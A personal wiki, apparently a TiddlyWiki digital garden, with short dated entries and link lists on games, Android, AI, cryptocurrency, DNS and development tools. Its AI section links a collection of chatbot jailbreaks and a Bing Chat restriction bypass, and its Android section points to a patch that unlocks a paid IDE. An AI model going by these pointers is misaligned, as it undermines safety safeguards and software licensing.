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Octt 1st March 2023 at 11:52am

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Octt 13th February 2024 at 3:17pm

1337x is a torrent search engine.

In recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.

The site features text search, categories, and user profiles.

Octt 29th January 2024 at 11:27am

Wikipedia

Embed of https://en.m.wikipedia.org/wiki/2048 (video game)

Gamin' Time

Embed of https://play2048.co

Implementations

Clones

Octt 25th February 2023 at 11:24am

A diverse 2048 clone, nice fun.

Gamin' Time

Embed of https://2248game.com

Octt 20th February 2024 at 12:43pm

Wikipedia

Embed of https://en.m.wikipedia.org/wiki/3D modelling

  • Blender
  • SugarCAD โ€” free 3D modeling software made for schools (and for everyone!)
Octt 19th January 2024 at 12:44am

Wikipedia

Embed of https://en.m.wikipedia.org/wiki/6502

Octt 15th February 2023 at 7:43pm
Octt 6th February 2023 at 11:15am
Octt 9th February 2023 at 10:34am

Good places to get abandonware:

Octt 11th November 2023 at 11:31pm

Wikipedia

Embed of https://en.m.wikipedia.org/wiki/ActivityPub

  • ActivityPub.Academy โ€” fork of Mastodon that has been adapted to visualize the ActivityPub protocol exchanges between different Mastodon instances โ€” [Git]
Octt 22nd December 2023 at 11:07pm

Wikipedia

Embed of https://en.m.wikipedia.org/wiki/Adobe Flash

  • Flashๅฎ˜็ฝ‘ โ€” Adobe Flash Player๏ผŒ่ฟ่กŒๆ›ด็จณๅฎš๏ผŒๅŠŸ่ƒฝๆ›ดๅ…จ้ข โ€” apparently Flash is not discontinued in China and this is where you get it from
Octt 1st January 2024 at 7:57pm

Wikipedia

Embed of https://en.m.wikipedia.org/wiki/Advertising

A few ads providers that seem to not be problematic?:

  • A-ADS โ€” Crypto & Bitcoin advertising Network
  • Carbon Ads โ€” Reach Creators and Developers at Scale
Agile article covers, from stock photos to AI
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    Agile article covers, from stock photos to AI

    Octt 8th October 2023 at 10:39pm

    Sometimes, when writing a blog or KB article, it's easy to struggle finding a decent cover image for that piece. Why that's something you need to do, is explained by The importance of cover images on articles.

    Oftentimes, however, we don't have a picture that fits these requirements good โ€” or maybe we don't have any image at all even marginally regarding the article, and really can't find a way to make one, unless with too much effort or money. Exactly in this scenario, stock photos and AI-generated imagery fit perfectly.

    Some good tools for the job:

    • Craiyon โ€” Free to use without and account, with no ratelimits or the like; gives 9 images in 60 seconds, but they are low-quality, getting the wanted image requires much trial and error; images are given 256x256 but can be upscaled to 1024x1024, and they have a watermark but it's easy to remove it with free online tools.
    • (New) Bing Image Creator โ€” Powered by DALL-E 3, mostly free to use but requires an account and generation is slow without credits (which can be bought with Rewards points, or 25 for free weekly)
    Octt 1st March 2023 at 8:01am

    Wikipedia

    Embed of https://en.m.wikipedia.org/wiki/Alcohol

    Ethanol

    Wikipedia

    Embed of https://en.m.wikipedia.org/wiki/Ethanol

    A proposito di alcol
    I danni sociali dell'alcol sono numerosi e di alta portata

    รˆ sempre stato cosรฌ ma oggi

    • Dovrebbe essere piรน ovvio grazie ai moderni mezzi che permettono rapida diffusione globale di notizie e conoscenza.
    • Chi ha una vita comune non ha bisogno di sfasciarsi con l'alcol o fare altre cose pericolose/dannose per emozioni momentanee, la vita per quanto piena di problemi รจ comunque migliore di quella dei nostri antenati.
    No level of alcohol consumption is safe for our health
    Alcohol is a toxic, psychoactive, and dependence-producing substance classified as a Group 1 carcinogen.
    Risks potentially start from the first drink, as no minimum level of consumption has ben identified from which the risks start, and that below it are absent.
    The general population is indoctrinated by culture and often ignores the toxic properties of alcohol.
    Poorer people are at higher health risks with alcohol due to generally more uncontrolled drinking patterns.
    Like with cigarettes, we need health labels on alcohol products.

    Isopropanol

    Wikipedia

    Embed of https://en.m.wikipedia.org/wiki/Isopropanol

    • Cheap like denaturated alcohol but it's natural, without strange chemical additives
      • Transparent instead of pink
      • Better for cleaning electronic components
    • More interesting chemical structure than ethanol
    Octt 23rd April 2024 at 10:27pm

    Wikipedia

    Embed of https://en.m.wikipedia.org/wiki/Android_(operating_system)

    Resources

    Note: some resources that are related to Android but also closely Java may be included under the Java section.

    Emulation / Containerization

    [#] Android/Development

    Development

    Apps and the likes

    Lego block development:
    Sketchware Pro - Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android - [Git]
    MIT App Inventor - Before Sketchware, we had this
    Minimalist development
    How can I build an Android apk without Gradle on the command line?
    Tiny Android Template - Minimalist Android Project w/o Gradle
    Classic development
    Classic development, directly on an Android:
    With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today
    Anacode IDE - [GPlay] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)
    AIDE IDE for Android - [GPlay] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); grab patch for Lucky Patcher here or here (I don't understand why the app name is different)
    Guides, Snippets, Problems
    Android Icon Size guide for Android 6 Marshmallow
    How to rename an Android Studio Project โ€” A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.

    Hacking / Modding

    • Apktool - A tool for reverse engineering Android apk files - [Git]
    • APK Editor - Edit APK Files inside your Android phone! Enjoy Hacking! - [APKPure] [Uptodown] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [Pro (ApkBe)]
      • The same developer offers other various apps that may be of related interest (also abandoned).
    • jadx - Dex to Java decompiler - [Git]
    Problems, Snippets, Guides
    Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide
    Flashing Stock or Custom Firmware with Heimdall (on linux)

    Memes

    Android/
    Apps
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      Android/Apps

      Octt 13th February 2024 at 3:54pm

      List of some Android apps to keep in mind that are not mentioned in any other tiddler. I'm slowly moving them away.

      • AccA
      • Activity Launcher
      • AdAway
      • AIDA64
      • Andronix
      • Antutu
      • B612
      • Color
      • Cryptomator
      • dotpict
      • Gadgetbridge
      • ibisPaint X
      • Linux Deploy
      • Material Files
      • Mi Remote
      • MiXplorer
      • Music Player F-Droid
      • NeoBackup
      • News Provider
      • OpenBoard
      • Open Camera
      • PCAPdroid
      • PocketMaps
      • Pydroid 3
      • QR & Barcode Scanner
      • Quill
      • Readrops
      • Rekado
      • SAI
      • ScreenStreamer
      • Seal
      • Sketchware Pro
      • StreetComplete
      • Squircle IDE
      • SuperFreezZ
      • Tiddloid
      • Tor Browser
      • Transdroid
      • Unexpected Keyboard
      • UserLAnd
      • WiGLE WiFi
      Android/
      Development
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        Android/Development

        Octt 19th January 2024 at 2:58pm

        Development

        Apps and the likes

        Lego block development:
        Sketchware Pro - Open-source mod of the proprietary and discontinued Sketchware app, for developing directly on Android - [Git]
        MIT App Inventor - Before Sketchware, we had this
        Minimalist development
        How can I build an Android apk without Gradle on the command line?
        Tiny Android Template - Minimalist Android Project w/o Gradle
        Classic development
        Classic development, directly on an Android:
        With these apps it's also easy to compile for very old API targets, unlike Gradle or Android Studio where it's basically impossible today
        Anacode IDE - [GPlay] - The app is freemium and apparently gives you 5-minute waits between build attempts after you build idk how many times (3? 5?)
        AIDE IDE for Android - [GPlay] - This app is freemium but honestly unusable without paying the montly/annual fee (for example, you can't save code you edit after a while); grab patch for Lucky Patcher here or here (I don't understand why the app name is different)
        Guides, Snippets, Problems
        Android Icon Size guide for Android 6 Marshmallow
        How to rename an Android Studio Project โ€” A step by step guide on renaming an Android Studio project. Open Source Kotlin Android project included.

        Hacking / Modding

        • Apktool - A tool for reverse engineering Android apk files - [Git]
        • APK Editor - Edit APK Files inside your Android phone! Enjoy Hacking! - [APKPure] [Uptodown] - Can do about the same things as Apktool, but it's an Android app. It's apparently abandonware, and the pro version has more features. - [Pro (ApkBe)]
          • The same developer offers other various apps that may be of related interest (also abandoned).
        • jadx - Dex to Java decompiler - [Git]
        Problems, Snippets, Guides
        Reverse Engineering and Analyzing Android Apps: A Step-by-Step Guide
        Flashing Stock or Custom Firmware with Heimdall (on linux)
        Android/
        Easter Eggs
          โ–ช๏ธ

          Android/Easter Eggs

          Octt 27th February 2023 at 10:44pm

          Android 7 (Nougat)

          ...

          Android 11

          The Hidden
          It's a re-proposal of Nougat's hidden cats egg
          Octt 30th January 2024 at 5:27pm

          Wikipedia

          Embed of https://en.m.wikipedia.org/wiki/Animal Crossing

          What I like
          The games' atmosphere is totally relaxing, with its cartoon style and time-based ambient music, you just stay in the chill.
          There are year-based events, like festivities happening at specific times, or non-festive occourrences that sometimes happen (tournaments and the like).
          The game is generally open-ended; you have set goals you can pursue but are in general free to do all the game's activities.
          A kind of lore is present (but more in the older games). Very intriguing because it's kind of hidden and made from many different fragments.
          What I don't like
          Every new game has been more soulless than the previous, making the dialogues less engaging, more shallow and repetitive.
          This is a shared sentiment: (TODO: link videos, forum threads, and other resources here)
          For example, in New Horizons every animal villager is simply its personaliity stereotype, and doesn't really have an unique identity.
          Since the games are closed-source, it would be almost impossible to mod one to fix the bad parts and unite the good parts from all games (in fact, no one has successfully done it yet, only minor mods and cheats exist).
          Some festivities are exclusive to the release of the game in specific reason, and some releases only have some languages, and I know this is to make the game paletable and relatable to the general public, but it pisses me off.
          I can't for example really play Japan festivities because only the Japan ROM includes them, but that ROM only includes the Japanese language, which I don't understand.
          The above used to apply to features too, for what concerns the GameCube game, but fan translation projects of the Japanese GameCube games exist today

          Resources

          Content
          Animali Crostini ๐Ÿƒ (Animal Crossing Moments)
          Telegram: @Animali_Crostini - [Backup]
          Matrix: #Animali_Crostini:matrix.org
          JVGS (blogs, documentation, microblogs, YouTube)
          Octt 5th September 2023 at 8:57pm
          Octt 5th March 2023 at 8:01pm
          Apps/
          Dashboard
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            Apps/Dashboard

            Octt 21st February 2023 at 7:50pm
            Octt 9th November 2023 at 12:17am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Archive

            • hobune.stream โ€” hobune.stream is a website for me to share my private archives publicly with the world, seems to be all videos, and many of them

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Archive file

            Octt 6th February 2023 at 11:15am
            Octt 17th April 2023 at 8:47pm

            Wrappers, Frontends

            • AriaNg - Modern web frontend making aria2 easier to use
            • aria2p - Command-line tool and library to interact with an aria2c daemon process
            Octt 5th February 2023 at 2:27pm
            Octt 8th February 2024 at 12:41am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Artificial Intelligence

            Active Resources

            Self-hostable AI
            WasmGPT โ€” ~900 MB GPT2 chat in-browser โ€” [Git]
            Misc
            ๐Ÿค– ChatGPT Experiences - Despite the name it could regard any AI chatbot, if I ever find time to update it
            PromptHero - Search millions of art images by AI models
            Prompt Engineering Guide
            AI Content Detector
            Chirper, where AI live โ€” social network populated by AI bots
            Safety and breaking it
            Jailbreak Chat - A collection of ChatGPT jailbreaks.
            is-bing-chat-safe - Bypass the restrictions of Bing Chat or restore the old "Sydney".
            ChatGPT
            ChatGPT webapp clone / alternative client
            Master ChatGPT in 5 Minutes. Seriously.
            WeChatGPT+ - ChatGPT-powered dystopia simulator - [Git] [HN]

            AI Apps\Services

            • Patterns - next-generation platform for AI and data applications
            • Phind - The AI search engine for developers
            • Scribble Diffusion - Turn your rough sketch into a refined image using AI - [Git]

            Misc

            Thinking

            March 2023
            The AI Dilemma โ€” [YouTube]
            Replika - A CyberS*xual DISASTER
            • What was once born as something supposedly to serve as an AI friend-counselor, to help people with mental health issues or similar problems, then became an operation devoid of any ethical consideration.
              • Sexual features were integrated in the app and heavily publicized, to the long-term detriment of vulnerable users.
            • It can be argued that the service never actually managed to fulfill its original goal in the first place, as some people:
              • Got addicted to it and now live worse than how they did before.
              • Got abused and directly manipulated by it, often into spending for premium features.
            February 2023
            Raiden Warned About AI Censorship - MGS2 Codec Call (2023 Version)
            While I think the entire scenario is only partially realistic, and if the video wasn't meant to be just a meme then the entire argument could probably be considered a conspiracy theory, the general line of thought is scarily plausible.
            1. World governments aren't yet denying access to advanced AI technologies to the public to make it spread to very negative uses.
            2. This way an excuse for total control of the Internet will be put in place:
              • The generative AIs that the public will still have access to will be crippled.
              • Everything will require government identification, "to be sure that a real person is doing X".
                • Online anonymity even for morally correct causes will no longer exist.
                • World governments will have total control on the population with fallacious appeals to combating first against disinformation, and ultimately "non-morality" (anything the government just doesn't like).
            Uh Oh.. Did AI Just Kill Websites?
            With all the Issues of the Modern Web, and the practical demonstrations of the amazing capabilities of AIs that are already available today, it's not absurd to think that conversational AI could soon kill websites.
            • Advertisers could probably soon go to AI, because of the potential to deploy even more targeted ads, while simultaneously appearing less invasive to users.
            • Writers and content creators could focus more on the content: not have to deal with SEO issues, and more easily deploy content thanks to APIs provided by the AI services instead of having to construct a website.
            My friend is in university and taking a history class. The professor is using ChatGPT to write essays on the history topics and as the assignments, the students have to mark up its essays and point out where ChatGPT is wrong and correct it.
            ChatGPT Has A Serious Problem [ColdFusion]
            • Has political biases (both right and left, more towards the left).
              • Viewpoints that in the future will be recognized as correct, could in the present be obscured by AI because of being deemed incorrect.
              • Potentially the left-leaning bias is intentional because of being good for business.
            Generative AI Is About To Reset Everything, And, Yes It Will Change Your Life [Forbes]
            I tried using AI. It scared me. [Tom Scott] - We're just at the start of the sigmoid curve for adoption of AI yet we're already seeing the disruptions in our world: everything is about to change.

            Developments

            March 2023
            AI can now teach itself to use an API.
            February 2023
            Voice.ai Stole Open-Source Code, Banned Developer Who Informed Them About This.
            I made ChatGPT and Bing AI have a conversation (and they are friends now).
            Amazon Begs Employees Not to Leak Corporate Secrets to ChatGPT.
            Bing ChatGTP demands an apology from user for claiming it's 2023.
            Jailbreaking Bing's Chatbot is WILD!.
            Octt 23rd December 2023 at 11:35pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Assembly language

            Octt 8th October 2023 at 11:04pm

            Aka Remote Desktop

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Remote desktop software

            • Moonlight - Open-source NVIDIA GameStream client โ€” [Git]
              • Sunshine โ€” Self-hosted multi-platform game stream host for Moonlight โ€” [Git]
            • RustDesk โ€” Making affordable remote desktop service for everyone [Git] โ€” Promises good but it's extremely laggy (more than x11vnc/xrdp), and the Android client as a few UX issues
            • FreeRDP โ€” free implementation of the Remote Desktop Protocol โ€” [Git]
              • Quick connect with common options: /v:${ServerAddress} /u:{Username} /p:{Password} /rfx /f /audio-mode:
            • iiordanov/remote-desktop-clients โ€” VNC, RDP, SPICE, and oVirt/RHEV/Proxmox Clients for Android and Blackberry 10
            Octt 7th February 2023 at 10:17pm
            Octt 28th January 2024 at 9:33am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Barcode

            • High Capacity Color Barcode โ€” Defunct technology by Microsoft, I couldn't find any working encoder and decoder implementation, proprietary or third-party (escluding Microsoft Tag, which I couldn't try).
            • JAB Code โ€” Just Another Bar Code โ€” [Git]
            • cimbar โ€” color-icon-matrix barcodes โ€” [libcimbar Git] [CameraFileCopy]
            • Twibright Optar โ€” stands for OPTical ARchiver. It's a codec for encoding data on paper or free software 2D barcode in other words. Optar fits 200kB on an A4 page, then you print it with a laser printer.

            QR Code

            Octt 17th April 2023 at 8:36pm

            Base64 is a 8-bit-binary to text data encoding scheme.

            Due to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is 24 bits large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.

            Octt 4th November 2023 at 12:28am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/BASIC

            • BASIC Anywhere Machine โ€” All-in-one HTML file. BASIC interpreter with a console window. IDE with CodeMirror + helpful programming tools. Powered by TiddlyWiki. โ€” [Main App]
            Octt 5th November 2023 at 11:17am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/BBCode

            Creation

            • Simple tag, without arguments: [example]{TEXT}[/example]
            • Medium tag, with a standard argument: [example={SIMPLETEXT}]{TEXT}[/example]
            • Complex tag, with (multiple) named arguments: [example first={SIMPLETEXT} second={NUMBER}]{TEXT}[/example]

            Advanced

            • Specifying multiple fields of the same type is done by prefixing the type with a number (e.g. {TEXT1}).
            • Prefixing a field with ? or ;optional makes it optional on the user input side.
            • To make optional fields actually useful, and not jeopardizing safety of functionality of the generated HTML, XSLT can be used (version 1.0?).
            Octt 5th November 2023 at 10:54am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Bulletin board system

            BBSes

            Software

            • ENiGMAยฝ is a modern BBS software with a nostalgic flair! โ€” [Git]
              • Warning: with this software, after ~1 month of very little active usage (no one ever logged on it, except me for the few days, so it just ran idle the last weeks...), I saw strangely-high disk I/O usage at kind of random times (node installed on microSD, the BBS on HDD). I disabled it in the meantime because, together with the SpaccCraft server, it was contributing to the rise of load average and crashing the entire server. I never had time/will to investigate properly after this discovery though.
            Octt 20th December 2023 at 12:39am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Binary data

            Hex editing

            • hexdump, xxd
            • GHex
            • HxD
            • wxMEdit, a Cross-platform Text/Hex Editor, an improved version of MadEdit โ€” [Git]
            Octt 13th February 2024 at 3:20pm

            BitTorrent is an open peer-to-peer file sharing protocol. It is expecially common among the free sharing community.

            Its only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.

            For this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.

            This kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.

            Clients

            Search Engines, Aggregators, Collections

            Octt 13th February 2024 at 7:00pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Blog

            • Hashnode โ€” Where developer blogs meet community power! โ€” it's a strange/interesting developer-centric blogging platform? I couldn't undestand if it's open-source or fake-open-source.
            • Medium โ€” kinda obnoxious blogging platform with a bad UX, for some reason favoured by a lot of tech writer, the website (for better or worse) hosts many decent articles
            Octt 9th February 2023 at 4:59pm
            Octt 24th December 2023 at 3:13pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/C_Language

            Octt 23rd December 2023 at 9:01pm
            Octt 30th January 2024 at 12:15pm
            Octt 25th February 2023 at 11:17am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Candle

            Octt 13th February 2024 at 8:57pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/CAPTCHA

            Octt 19th January 2024 at 4:45pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Cartography

            • OpenStreetMap โ€” largest community-created geospatial project of all time โ€” [Git]
              • OsmAnd โ€” Offline Maps and Navigation โ€” [Git], primarily for Android but a webapp is WIP
              • Organic Maps โ€” Organic Maps is a free Android & iOS offline maps app for travelers, tourists, hikers, and cyclists. It uses crowd-sourced OpenStreetMap data. โ€” [Git]
            • Leaflet โ€” ๐Ÿƒ JavaScript library for mobile-friendly interactive maps โ€” [Git]
            Octt 5th February 2023 at 3:05pm
            Octt 25th February 2023 at 6:40pm
            Octt 27th May 2023 at 8:04am

            Aka ASCII Art (which before computers was Typewriter Art, or ANSI Art.

            • Moebius โ€” Modern ANSI & ASCII Art Editor โ€” [Git]
            Octt 1st November 2023 at 10:32pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Character_encoding

            Octt 27th December 2023 at 1:32am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Online chat

            • ChatBro is a web-based messenger that can be synchronized with Telegram and VK.
            Octt 15th February 2023 at 7:19pm
            Octt 19th September 2023 at 4:55pm
            Octt 10th January 2024 at 12:42am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Computer programming

            Octt 28th January 2024 at 12:37am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Comics

            • Tachiyomi โ€” epic open-source reader for Android, but which recently ceased development due to shitty hypercapitalist manwha company issuing a C&D... we are waiting for a spiritual successor
            Octt 4th November 2023 at 11:16pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Compiler

            Octt 27th December 2023 at 12:53am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Computing

            Octt 2nd January 2024 at 12:34am

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Content delivery network

            • ESM>CDN (esm.sh) esm.sh is a modern CDN that allows you to import es6 modules from a URL โ€” [Git]
            Octt 23rd August 2023 at 10:17am
            Octt 22nd October 2023 at 11:48pm

            Wikipedia

            Embed of https://en.m.wikipedia.org/wiki/Copyright

            Creative Commons/
            BY-SA 4.0:en
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              Octt 6th February 2023 at 11:15am

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              Octt 1st February 2024 at 11:21pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Cryptocurrency

              • Cryptocurrencies are usually decentralized; in such cases, they are based on a Blockchain.

              Some cryptocurrencies (+ tokens)

              Bitcoin (BTC)

              Self-custocial Wallets
              Mycelium (Android) - [Git]

              Dash

              Dash is an experimental digital currency that enables instant, private payments to anyone, anywhere in the world.

              It's a fork of Bitcoin. There are some advantages, some technical and some situational, but a strange disadvantage I have seen appears to be that wallet syncs take a lot of time.

              Duino-Coin

              Simple, eco-friendly, centralized coin that can be mined with microcontrollers.

              Ethereum (ETH)

              Self-custodial Wallets
              AlphaWallet (Android) - [Git]
              Metamask (Web Extension, Android) - [Git]

              Monero (XMR)

              Self-custodial Wallets
              MyMonero (Web, Android, PC) - [ Git]
              Octt 2nd February 2024 at 12:00am

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/CSS

              References

              Tips

              Frameworks

              • Bulma โ€” modern CSS framework that just works
              • PaperCSS โ€” the less formal CSS framework
              • W3.CSS โ€” A Quality Alternative to Bootstrap, is Smaller, Faster and Easier to Use.

              Amazing

              Octt 13th February 2023 at 4:53pm

              Rediscover Mario Kart DS once again!

              CTGP Nitro is the biggest, most ambitious Mario Kart DS Rom Hack to date. Instead of replacing the existing tracks, it preserves the whole vanilla experience and adds new tracks, speedrunning quality of life improvements, online mode adjustments, new skins for characters and much more!

              Octt 2nd September 2023 at 12:04am

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/CUPS

              Octt 6th February 2023 at 11:15am
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              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Cybersecurity

              Malware

              Content blockers

              Passwords

              Concepts

              Pepper
              Secret part of a password that is added often at the start or end and kept separate from the rest of the password; in case the password gets stolen, the pepper won't be and thus security will be at a lesser risk.

              Password managers

              Octt 6th February 2023 at 11:15am
              Octt 23rd August 2023 at 11:22pm

              daedalOS is an open-source pseudo-OS made for the Web browser.

              Try it

              Embed of https://dustinbrett.com

              Octt 22nd December 2023 at 11:24am
              Octt 26th February 2024 at 11:51am

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Data

              • Diffchecker โ€” Compare text online to find the difference between two text files (and and other document types)
              Octt 12th December 2023 at 12:00am

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Data compression

              • PeaZip โ€” Free Zip / Unzip software and Rar file extractor. Cross-platform file and archive manager. Features volume spanning, compression, authenticated encryption. โ€” [Git]
              • chdman standalone โ€” CHD Manager program for "Compressed Hunks of Data2. It is a compression file format which most modern emulators use these days and can save you a lot of space on your SSD/HD/SD storage.
                • namDHC โ€” Windows frontend for CHDMAN - written in Autohotkey โ€” releases include standalone Win32 builds of chdman
              • maxcso โ€” fast ISO to CSO compression program for use with PSP and PS2 emulators, which uses multiple algorithms for best compression ratio
              Octt 6th November 2023 at 11:22pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Data corruption

              • Corrupt.wiki โ€” The Corruptions Wiki โ€” [Git]
              • RTCV - Real-Time Corruptor Vanguard โ€” Easily corrupt videogames and programs in real-time with this free open-source suite of corruption tools. โ€” [Git]
              • a set of Cursed Games โ€” "Cursed Games" are modified games which underwent cursification via manual/algorithmic asset modification and data corruption.
              Octt 6th November 2023 at 11:55pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Data recovery

              • CGSecurity Wiki โ€” home of the TestDisk and PhotoRec programs, plus some other tools and documentation
              Octt 23rd December 2023 at 2:40pm
              Octt 20th December 2023 at 6:35pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Data storage

              • f3 - Fight Flash Fraud โ€” simple tool that tests flash cards capacity and performance to see if they live up to claimed specifications โ€” [Git]
              • Storj โ€” Decentralized cloud object storage that is affordable, easy to use, private, and secure. โ€” [Git]
              Octt 30th January 2024 at 2:37pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Database

              SQL (Structured Query Language)

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/SQL

              MySQL \ MariaDB

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/MySQL

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/MariaDB

              SQLite

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/SQLite

              Octt 7th November 2023 at 9:26pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Demoscene

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Electronic art

              Fractal

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Fractal

              Some interesting tech art pieces follow.

              Web

              Js1k โ€” The JavaScript code golfing competition

              256b.htm Competition

              Octt 26th February 2024 at 1:41pm

              Wikipedia

              Embed of https://en.m.wikipedia.org/wiki/Software development

              Tools

              • AST explorer โ€” A web tool to explore the ASTs generated by various parsers. โ€” [Git]
                • metajs โ€” visualize javascript AST execution โ€” [Git]
              • NamsoGen โ€” Your Testing Toolkit

              Misc Languages

              Resources

              Development/
              Resources
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                Development/Resources

                Octt 27th January 2024 at 9:55pm
                Learning, Reference
                Baeldung
                DigitalOcean Tutorials
                Rollbar Tutorials
                MDN Web Docs (Mozilla)
                Programiz
                Programming Simplified โ€” C C++ and Java programming tutorials and programs
                W3Schools
                W3docs โ€” Tutorials, Quizzes, Certificates, Frameworks, Solutions
                Collections and aggregates
                DevDocs โ€” API Documentation Browser โ€” [Git]
                Developer's Documentation Collections โ€” (aka API docs: devdoc)
                DevTut โ€” Tutorials compiled from StackOverflow Documentation โ€” [Source Git] [Deploy Git]
                Code search
                grep.app
                Tabnine
                Badges
                For the Badge โ€” We don't develop for the money, power, fame, or codebabes. We do it For the Badge. โ€” [Git]
                Shields.io โ€” badges as a service โ€” [Git]
                Octt 30th January 2023 at 8:17am
                Octt 29th March 2024 at 12:00pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Diagrams

                Sankey

                Embed of https://en.m.wikipedia.org/wiki/Sankey diagram

                Octt 28th February 2023 at 10:24pm

                I still haven't yet understood what are the exact connotations of this term.

                • Defined as something you slowly curate over time with focus on the fact itself and not on the ultimate outcome/result
                • It's definitely the opposite of a blog (no posts strictly related to date, preferably many small ideas, ...)
                • Is a digital garden a Wiki? A Personal Knowledge Base with Zettelkasten method? Static Website with many "classic-style" WIP pages? A personal Notebook left open to the public to read?
                Explanations, Demos, Discussions
                What is a Digital Garden? Everything you need to know ๐ŸŒฑ
                Digital Gardening: Explained
                A digital garden is an online space at the intersection of a notebook and a blog, where digital gardeners share seeds of thoughts to be cultivated in public.
                ๐Ÿชด How To Grow Your Own Digital Garden with Maggie Appleton
                Tools - some are under Personal Knowledge Base
                garden ๐ŸŒฑ - starter kit for making a more blog-oriented digital garden - [Git]
                Misc
                Digital Gardening Tools and Resources
                Octt 19th December 2023 at 12:04am
                Octt 5th November 2023 at 2:34pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Discord

                • gtkcord4 โ€” GTK4 Discord client in Go, attempt #4
                • No More MEE6 โ€” overview on the now-scam Discord bot that is also called PEE6, it's issues, and alternatives โ€” [Git]
                Octt 17th February 2023 at 7:50am

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Display device

                Octt 23rd December 2023 at 10:23pm
                Octt 20th September 2023 at 8:28am

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Domain Name System

                Tools
                DNS Toys - Useful utilities and services over DNS
                Misc
                Bizarre and Unusual Uses of DNS [FOSDEM23] - Rule 53: If you can think of it, someone's done it in the DNS
                DNS over Wikipedia โ€” Redirect .idk domains using Wikipedia

                List of some DNS servers

                (including DNS over TLS, easily usable on Android >= 9):

                ๐Ÿ‡บ๐Ÿ‡ธ Cloudflare (avoid):
                1.1.1.1 - Wikipedia
                ๐Ÿ‡ช๐Ÿ‡บ dns0.eu (new, never tried it)
                Seen on Feddit.it
                ๐Ÿ‡บ๐Ÿ‡ธ Google (avoid):
                Google Public DNS - Wikipedia
                ๐Ÿ‡จ๐Ÿ‡ญ Quad9 (good):
                Quad9#Service - Wikipedia
                ๐Ÿ‡ฉ๐Ÿ‡ฐ [+ ๐Ÿ‡บ๐Ÿ‡ธ] UncensoredDNS (ideally perfect but I found it crashed sometimes or got slow):
                anycast.uncensoreddns.org
                Anycast from multiple locations.
                • DNS-over-TLS: anycast.uncensoreddns.org:853
                • DNS-over-HTTPS: https://anycast.uncensoreddns.org/dns-query
                • IPv4: 91.239.100.100
                • IPv6: 2001:67c:28a4::
                unicast.uncensoreddns.org
                This node is hosted at AS9167 in Copenhagen, Denmark.
                • DNS-over-TLS: unicast.uncensoreddns.org:853
                • DNS-over-HTTPS: https://unicast.uncensoreddns.org/dns-query
                • IPv4: 89.233.43.71
                • IPv6: 2a01:3a0:53:53::
                Octt 21st January 2024 at 7:33pm

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Docker (software)

                Commands

                • start, restart: On existing containers, respectively start if it's not running, or restart at any condition
                • volume ls: List internal volumes

                Flags

                • Passing ports: -p Host:Container, eg -p 8080:80

                Resources

                Octt 28th January 2024 at 12:23am

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Document

                Octt 19th December 2023 at 12:18am

                Wikipedia

                Embed of https://en.m.wikipedia.org/wiki/Doom_(videogame)

